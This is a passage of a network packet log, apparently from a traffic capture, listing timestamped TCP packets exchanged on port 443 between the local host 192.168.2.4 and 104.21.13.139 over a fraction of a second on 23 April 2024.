Apr 23, 2024 14:44:58.151510000 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.151530027 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.152283907 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.152297974 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.152333975 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.152339935 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.152367115 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.152489901 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.152508020 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.152542114 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.152548075 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.152575970 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.153422117 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.153435946 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.153471947 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.153477907 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.153501987 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.154093981 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.154112101 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.154160976 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.154166937 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.154196978 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.155065060 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.155077934 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.155143023 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.155148983 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.155309916 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.155325890 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.155361891 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.155368090 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.155376911 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.156068087 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.156080961 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.156127930 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.156136036 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.156153917 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.156900883 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.156919003 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.156974077 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.156979084 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.157733917 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.157747984 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.157782078 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.157787085 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.157809019 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.157919884 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.157939911 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.157974005 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.157978058 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.157987118 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.157993078 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.158027887 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.158030987 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.158068895 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.158826113 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.158842087 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.158896923 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.158902884 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.158943892 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.159548044 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.159562111 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.159621000 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.159625053 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.159668922 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.160505056 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.160520077 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.160581112 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.160586119 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.160621881 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.160737038 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.160753965 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.160789967 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.160794973 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.160819054 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.160831928 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.161583900 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.161597013 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.161662102 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.161668062 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.161701918 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.162381887 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.162403107 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.162456989 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.162461996 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.162484884 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.162497044 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.163117886 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.163134098 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.163186073 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.163191080 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.163214922 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.163232088 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.163388968 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.163410902 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.163455963 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.163460970 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.163485050 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.163502932 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.164292097 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.164307117 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.164350986 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.164357901 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.164410114 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.165072918 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.165086985 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.165159941 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.165163994 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.165200949 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.165832996 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.165848017 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.165899038 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.165904045 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.165936947 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.165955067 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.166027069 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.166039944 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.166079044 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.166085005 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.166107893 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.166127920 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.167017937 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.167032957 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.167078972 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.167083025 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.167119026 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.167721987 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.167736053 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.167774916 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.167781115 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.167805910 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.167865038 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.168001890 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.168021917 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.168054104 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.168059111 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.168082952 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.168104887 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.168857098 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.168870926 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.168925047 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.168931007 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.168968916 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.169778109 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.169792891 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.169840097 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.169847965 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.169871092 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.169888020 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.170490980 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.170505047 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.170545101 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.170550108 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.170583963 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.170773029 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.170785904 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.170825958 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.170830965 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.170852900 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.170870066 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.171552896 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.171574116 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.171629906 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.171633959 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.171669006 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.172449112 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.172470093 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.172517061 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.172523975 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.172565937 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.172605038 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.172626972 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.172652960 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.172657967 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.172682047 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.172699928 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.173479080 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.173497915 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.173547983 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.173553944 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.173590899 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.174429893 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.174446106 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.174494028 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.174500942 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.174510002 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.174537897 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.175087929 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.175103903 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.175152063 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.175158024 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.175195932 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.175309896 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.175327063 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.175357103 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.175362110 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.175389051 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.175406933 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.176227093 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.176242113 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.176300049 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.176307917 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.176341057 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.176969051 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.176987886 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.177040100 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.177045107 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.177081108 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.177913904 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.177928925 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.177985907 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.177990913 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.178029060 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.178114891 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.178134918 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.178173065 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.178178072 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.178204060 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.178216934 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.179009914 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.179025888 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.179080009 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.179085970 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.179121971 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.179707050 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.179724932 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.179785013 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.179791927 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.179830074 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.180579901 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.180596113 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.180649042 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.180654049 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.180691004 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.180785894 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.180802107 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.180841923 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.180846930 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.180886984 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.181622028 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.181638002 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.181710958 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.181715965 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.181750059 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.182559013 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.182576895 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.182641983 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.182647943 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.182689905 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.183175087 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.183190107 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.183245897 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.183250904 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.183286905 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.183463097 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.183475971 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.183520079 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.183523893 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.183547974 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.183566093 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.184470892 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.184485912 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.184561014 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.184566975 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.184616089 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.185165882 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.185179949 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.185236931 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.185240984 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.185277939 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.185802937 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.185817957 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.185872078 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.185878992 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.185919046 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.186304092 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.186319113 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.186377048 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.186381102 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.186417103 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.187027931 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.187042952 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.187094927 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.187098980 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.187135935 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.187828064 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.187843084 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.187896013 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.187901020 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.187938929 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.188678026 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.188693047 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.188741922 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.188746929 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.188782930 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.188908100 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.188922882 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.188982010 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.188987017 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.189023018 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.189696074 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.189713001 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.189768076 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.189774036 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.189810038 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.190592051 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.190606117 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.190655947 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.190660954 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.190696955 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.191149950 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.191164017 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.191212893 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.191217899 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.191253901 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.191531897 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.191545963 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.191591978 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.191596985 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.191633940 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.192420006 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.192440987 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.192493916 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.192502022 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.192540884 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.193217039 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.193232059 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.193281889 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.193286896 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.193322897 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.193823099 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.193841934 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.193876028 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.193881035 CEST	443	49738	104.21.13.139	192.168.2.4
